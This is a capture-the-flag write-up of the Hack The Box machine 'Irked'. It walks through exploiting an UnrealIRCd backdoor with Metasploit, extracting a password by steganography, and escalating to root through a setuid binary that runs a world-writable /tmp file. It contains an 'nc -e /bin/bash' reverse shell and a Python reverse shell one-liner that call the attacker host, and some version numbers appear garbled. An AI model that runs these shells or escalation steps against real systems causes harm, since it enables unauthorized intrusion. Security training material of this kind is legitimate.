Irked is an easy-difficulty Linux machine that involves the exploitation of an IRC server using a public exploit, a bit of steganography, and the abuse of a far-from-functional custom binary owned by the
root user of the system. Overall, the box is pretty straightforward, yet a lesson can be learned surrounding the dangers of the
setuid bit being set when it shouldn’t be. This machine is unique in the sense that upon gaining initial access to the system as the
www-data user, it is possible (and arguably simpler) to elevate priveleges directly to the
root user, bypassing the low privelege
djmardov user and the related steganography puzzle entirely.
Note: I completed this challenge on December 16th, 2018, however I’m just now writing it up in December 2019. As such, some of the details are sparse.
To begin the enumeration process, a port scan was run against the target using
masscan. The purpose of this initial scan is to quickly determine which ports are open so that a more focused
nmap scan can be performed that will target only the open ports discovered by
root@kali:~/workspace/hackthebox/Access# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.117
masscan, it was revealed that a variety of ports were listening for connections, as shown in the command output below.
Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 8067/tcp on 10.10.10.117 Discovered open port 65534/tcp on 10.10.10.117 Discovered open port 80/tcp on 10.10.10.117 Discovered open port 111/tcp on 10.10.10.117 Discovered open port 22/tcp on 10.10.10.117 Discovered open port 50167/tcp on 10.10.10.117 Discovered open port 6697/tcp on 10.10.10.117 ...
Using this information, a second scan was run using
nmap to more thoughoughly examine the services listening on the discovered ports.
root@kali:~/workspace/hackthebox/Access# nmap -p 8067,65534,80,111,22,50167,6697 -sC -sV -oA scans/discovered-tcp 10.10.10.117
Note that while this scan is running, it’s a good idea to check out what might be happening on well-known ports such as the HTTP port TCP 80. In this case, it appears the only item present on the webserver is the
irked.jpg image which is shown below.
The results of the nmap scan revealed some interesting services listening on some uncommon ports, which suggest a good starting place for further enumeration. Note that in general, it is wise to take a broad approach during the initial enumeration process. That is to say that basic enumeration of each listening service should be completed before moving on to more focused enumeration of any particular service. In this write-up, the basic enumeration techniques are not discussed. A screenshot of the result of the nmap scan is shown below.
Of particular interest is the UnrealIRCd service running on TCP ports 6697, 8067, and 65534.
Using an IRC client such as
hexchat, the IRC service listening on port 6697 can be accessed. If neccessary,
hexchat can be installed using
apt-get install hexchat. Upon connecting to the service, the server announces the running version of UnrealIRCd as 188.8.131.52. This is shown in the screenshot below.
Lesser-known and outdated services are often vulnerable to exploitation. The
searchsploit tool can be used to search for exploits relevant to a given service. Now that the version of UnrealIRCd running on the target server is known, the command shown below can be used to search for vulnerabliities and exploits relevant to UnrealIRCd 184.108.40.206.
root@kali:~/workspace/hackthebox/Irked# searchsploit "UnrealIRCd 220.127.116.11"
The results of the search reveal that thare are a variety of exploits related to this version of UnrealIRCd, including a backdoor command exeuction Metasploit module.
The Metasploit Framework can be accessed via command line with the
msfconsole command. Within
exploit/unix/irc/unreal_ircd_3281_backdoor module can be loaded and ran against the target using the options shown below.
Running this module with the
run command results in a shell on the system as the
ircd user. This session can be upgraded to a more stable shell by first connecting back to the attacking system once again, but this time outisde of
msfconsole. In a new window on the attacking system, a listener should be set up before issuing the
nc -e /bin/bash 10.10.14.2 4444 command on the target system. From the session created over this connection, the shell can be upgraded, as demonstrated below.
/home directory of the target system there are two users;
djmardov. The flag
user.txt file is in the
/home/djamardov/Documents directory, but cannot be read by the current
ircd user. In this same directory, however, there is a file called
.backup, the contents of which are shown below.
Super elite steg backup pw UPupDOWNdownLRlrBAbaSSss
For those unfamiliar with steg, the word “steg” is short for “steganography” and is the practice of concealing a file, message, image, or video within another file, message, image or video. The contents of the
.backup file in the home directory of
djmardov suggets that there must be some information hidden in another file, and that
UPupDOWNdownLRlrBAbaSSss must be the password to access the information.
A useful Linux tool for working with stegonagrphy is
steghide. If necessary, this tool can be installed using
apt-get install steghide. The
steghide command shown below can be run against the
irked.jpg image found on the webserver.
root@kali:~/workspace/hackthebox/Irked# steghide info irked.jpg
Upon running this command, the program prompts for a password, for which
UPupDOWNdownLRlrBAbaSSss should be given, revealing the information shown below.
pass.txt file can be extracted with the following command.
root@kali:~/workspace/hackthebox/Irked# steghide extract -sf irked.jpg -p
pass.txt file can now be read and contains the data shown below.
Returning to the target system, the password shown above can be used to switch to the
djmardov user with the
su command. The
user.txt file can now be read.
With the password for
djmardov, the target system can be accessed over SSH as the
djmardov user. This provides for a cleaner experience as compared to the upgraded shell used up until this point.
To begin searching for misconfigurations that could lead to the elevation of priveleges, a search of the file system using
find can be performed with the purpose of locating files owned by the
root user that have the
setuid bit set.
djmardov@irked:~$ find / -user root -perm -u=s 2> /dev/null
setgid flags are Unix access rights flags that allow users to run programs with the permissions of the file’s owner or group respectively. The
setgid bits can be set by changing a file’s mode with
chmod. An octal file mode beginning with
chmod 4755 file.sh) will set a file’s
setuid flag, and an octal file mode beginning with
chmod 2755 file.sh) will set a file’s
Sometimes, a program owned by the
root user that has the
setuid bit set can be used to elevate privleges to
root, since whenever the program is run it is run with
root level permissions. While it is common for certain programs owned by the
root user to have the
setuid flag set, it is important to keep an eye out for anything out of the ordinary.
The result of the aformentioned
find command are shown in the image below.
Most of this looks normal, however the
/usr/bin/viewuser program is not a standard
setuid Linux binary.
viewuser binary displays some interesting output.
First of all, it appears that this is a custom binary that is still being developed. Secondly, it appears that the program attempts to interact with the
/tmp/listusers file (which as suggested by the output does not exist).
viewuser is run with
root permission and that it interacts with a nonexistent
listusers file in the
/tmp directory suggests a disasterous outcome, as the
/tmp directory is world writable. This is to say that any user on the system can write to the
/tmp directory, and therefore any user can create a
To test whether the
viewuser binary will execute code from within the
/tmp/listusers file, a simple
ping test can be performed. A
listusers executable file can be written to the
djmardov@irked:~$ echo "ping -c 5 10.10.14.2" > /tmp/listusers && chmod 755 /tmp/listusers
tcpdump tool can be run on the attacking system to confirm whether the target system is executing the
ping command in the
root@kali:~/workspace/hackthebox/Irked# tcpdump -nni any icmp
viewuser binary should be run again to test the
ping command. The output on the attacking system from the
tcpdump command confirms that the
viewuser binary on the target system is executing shell commands in the
/tmp/listusers file. At this point, the contents of the
/tmp/listusers file can be replaced with a reverse shell. The Python reverse shell used for this is shown below.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
After setting up a listener on the attacking system, the
viewuser binary should be run once again, resulting in a reverse shell as the
root user of the target system.